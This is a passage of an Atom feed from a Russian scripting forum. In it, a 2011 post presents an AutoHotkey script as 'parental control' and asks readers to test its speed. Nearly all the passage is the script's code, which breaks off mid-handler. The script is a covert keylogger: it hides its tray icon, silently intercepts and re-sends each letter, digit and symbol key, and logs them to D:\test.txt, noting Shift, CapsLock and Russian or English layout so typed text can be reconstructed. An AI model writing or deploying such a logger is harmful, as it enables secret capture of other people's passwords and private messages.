				<name><![CDATA[DaVinchi]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26386</uri>
			</author>
			<updated>2011-08-13T08:48:47Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50591#p50591</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50582#p50582" />
			<content type="html"><![CDATA[<p>Ну чтож в рамках &quot;парент контроля&quot; выложу скрипт, если кто может потестируйте на быстродействие (желательно попечатать текст с ним 400-500 зн/м)<br />Сохраняет лог в D:\Test.txt<br />Понимает два языка русский и не русский(английский)<br /></p><div class="codebox"><pre><code>
;*$vk41:: ; виртуальный код клавиши (в данном случае англ. A)
;Send, {Blind}{vk41} ;посылка нажатия 
;GetKeyState, stateShift, Shift ;проверка физического состояния кнопки шифт
;if stateShift = D ;если она таки нажата
;{ 
;FileAppend, %ShiftSymbol%, %logpath% ;то записать в лог символ нажатости шифт
;}
;GetKeyState, stateCaps, Capslock, T ;проверка состояния капс в системе
;if stateCaps = D ;если таки включен
;{
;FileAppend, %CapsSymbol%, %logpath% ;то записать в лог символ включенности капса
;}
;WinGet, WinID,, A                                                                                  ;функция проверки языка
;    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)  ;
;    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)      ;
;if InputLocaleID &amp; 0xFFFF = 0x419                                                          ;проверка на русский язык
;{
;FileAppend, ф, %logpath% ;и если он таки русский записать в лог русский символ кнопки
;}
;else
;{
;FileAppend, a, %logpath%  ;иначе английский
;}
;Return

#NoTrayIcon
#MaxHotkeysPerInterval 700
Process,priority,,H
logpath:=&quot;D:\test.txt&quot;
BackSymbol:=&quot;#B&quot; ;символ для кнопки BackSpace (Будет записан в лог)
CapsSymbol:=&quot;#C&quot; ; CapsLock
ShiftSymbol:=&quot;#S&quot; ; Shift
FileAppend,  `n%A_MDay% %A_MMMM% %A_YYYY%  %A_Hour%:%A_Min%:%A_Sec%`n, %logpath% ; Отметка включения скрипта
$vk20:: ;пробел
Send, {Blind}{vk20}
fileappend,%A_Space%,%logpath%
return
$vk8:: ;  BackSpace
Send, {Blind}{vk8}
FileAppend, %BackSymbol%, %logpath%
return
*$vk30:: 
Send, {Blind}{vk30}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 0, %logpath%
Return
*$vk31:: 
Send, {Blind}{vk31}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 1, %logpath%
Return
*$vk32:: 
Send, {Blind}{vk32}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend,`&quot;, %logpath% ;&quot; 
return
}
else
{
FileAppend,`@, %logpath%
return
}
}
FileAppend, 2, %logpath%
Return
*$vk33:: 
Send, {Blind}{vk33}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend,`№, %logpath%
return
}
else
{
FileAppend, `#, %logpath%
return
}
}

FileAppend, 3, %logpath%
Return
*$vk34:: 
Send, {Blind}{vk34}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend,`;, %logpath%
return
}
else
{
FileAppend, `@, %logpath%
return
}
}
FileAppend, 4, %logpath%
Return
*$vk35:: 
Send, {Blind}{vk35}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 5, %logpath%
Return
*$vk36:: 
Send, {Blind}{vk36}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend,`:, %logpath%
return
}
else
{
FileAppend, `^, %logpath%
return
}
}
FileAppend, 6, %logpath%
Return
*$vk37:: 
Send, {Blind}{vk37}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
GetKeyState, stateShift, Shift
if stateShift = D
{
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend,`?, %logpath%
return
}
else
{
FileAppend,`&amp;, %logpath%
return
}
}
FileAppend, 7, %logpath%
Return
*$vk38::
Send, {Blind}{vk38}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 8, %logpath%
Return
*$vk39::
Send, {Blind}{vk39}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, 9, %logpath%
Return
*$vk41::
Send, {Blind}{vk41}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ф, %logpath%
}
else
{
FileAppend, a, %logpath%
}
Return
*$vk42::
Send, {Blind}{vk42}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, и, %logpath%
}
else
{
FileAppend, b, %logpath%
}
Return
*$vk43::
Send, {Blind}{vk43}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, с, %logpath%
}
else
{
FileAppend, c, %logpath%
}
Return
*$vk44::
Send, {Blind}{vk44}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, в, %logpath%
}
else
{
FileAppend, d, %logpath%
}
Return
*$vk45::
Send, {Blind}{vk45}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, у, %logpath%
}
else
{
FileAppend, e, %logpath%
}
Return
*$vk46::
Send, {Blind}{vk46}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, а, %logpath%
}
else
{
FileAppend, f, %logpath%
}
Return
*$vk47::
Send, {Blind}{vk47}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, п, %logpath%
}
else
{
FileAppend, g, %logpath%
}
Return
*$vk48::
Send, {Blind}{vk48}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, р, %logpath%
}
else
{
FileAppend, h, %logpath%
}
Return
*$vk49::
Send, {Blind}{vk49}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ш, %logpath%
}
else
{
FileAppend, i, %logpath%
}
Return
*$vk4A::
Send, {Blind}{vk4A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, о, %logpath%
}
else
{
FileAppend, j, %logpath%
}
Return
*$vk4B::
Send, {Blind}{vk4B}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, л, %logpath%
}
else
{
FileAppend, k, %logpath%
}
Return
*$vk4C::
Send, {Blind}{vk4C}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, д, %logpath%
}
else
{
FileAppend, l, %logpath%
}
Return
*$vk4D::
Send, {Blind}{vk4D}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ь, %logpath%
}
else
{
FileAppend, m, %logpath%
}
Return
*$vk4E::
Send, {Blind}{vk4E}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, т, %logpath%
}
else
{
FileAppend, n, %logpath%
}
Return
*$vk4F::
Send, {Blind}{vk4F}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, щ, %logpath%
}
else
{
FileAppend, o, %logpath%
}
Return
*$vk50::
Send, {Blind}{vk50}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, з, %logpath%
}
else
{
FileAppend, p, %logpath%
}
Return
*$vk51::
Send, {Blind}{vk51}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, й, %logpath%
}
else
{
FileAppend, q, %logpath%
}
Return
*$vk52::
Send, {Blind}{vk52}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, к, %logpath%
}
else
{
FileAppend, r, %logpath%
}
Return
*$vk53::
Send, {Blind}{vk53}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ы, %logpath%
}
else
{
FileAppend, s, %logpath%
}
Return
*$vk54::
Send, {Blind}{vk54}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, е, %logpath%
}
else
{
FileAppend, t, %logpath%
}
Return
*$vk55::
Send, {Blind}{vk55}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, г, %logpath%
}
else
{
FileAppend, u, %logpath%
}
Return
*$vk56::
Send, {Blind}{vk56}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, м, %logpath%
}
else
{
FileAppend, v, %logpath%
}
Return
*$vk57::
Send, {Blind}{vk57}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ц, %logpath%
}
else
{
FileAppend, w, %logpath%
}
Return
*$vk58::
Send, {Blind}{vk58}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ч, %logpath%
}
else
{
FileAppend, x, %logpath%
}
Return
*$vk59::
Send, {Blind}{vk59}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, н, %logpath%
}
else
{
FileAppend, y, %logpath%
}
Return
*$vk5A::
Send, {Blind}{vk5A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, я, %logpath%
}
else
{
FileAppend, z, %logpath%
}
Return
*$vkBA::
Send, {Blind}{vkBA}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ж, %logpath%
}
else
{
FileAppend, `; , %logpath%
}
Return
*$vkBB::
Send, {Blind}{vkBB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `= , %logpath%
Return
*$vkBC::
Send, {Blind}{vkBC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, б, %logpath%
}
else
{
FileAppend, `, , %logpath%
}
Return
*$vkBD::
Send, {Blind}{vkBD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `- , %logpath%
Return
*$vkBE::
Send, {Blind}{vkBE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ю, %logpath%
}
else
{
FileAppend, `. , %logpath%
}
Return
*$vkBF::
Send, {Blind}{vkBF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, `. , %logpath%
}
else
{
FileAppend, `/ , %logpath%
}
Return
*$vkC0::
Send, {Blind}{vkC0}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ё , %logpath%
}
else
{
FileAppend, `` , %logpath%
}
Return
*$vkDB::
Send, {Blind}{vkDB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, х , %logpath%
}
else
{
FileAppend, `[ , %logpath%
}
Return
*$vkDC::
Send, {Blind}{vkDC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, `\ , %logpath%
}
else
{
FileAppend, `| , %logpath%
}
Return
*$vkDD::
Send, {Blind}{vkDD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, ъ , %logpath%
}
else
{
FileAppend, `] , %logpath%
}
Return
*$vkDE::
Send, {Blind}{vkDE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, э , %logpath%
}
else
{
FileAppend, `&#039; , %logpath%
}
Return
*$vkDF::
Send, {Blind}{vkDF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
if InputLocaleID &amp; 0xFFFF = 0x419
{
FileAppend, хз , %logpath%
}
else
{
FileAppend, HZ , %logpath%
}
Return
*$vkE2::
Send, {Blind}{vkE2}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
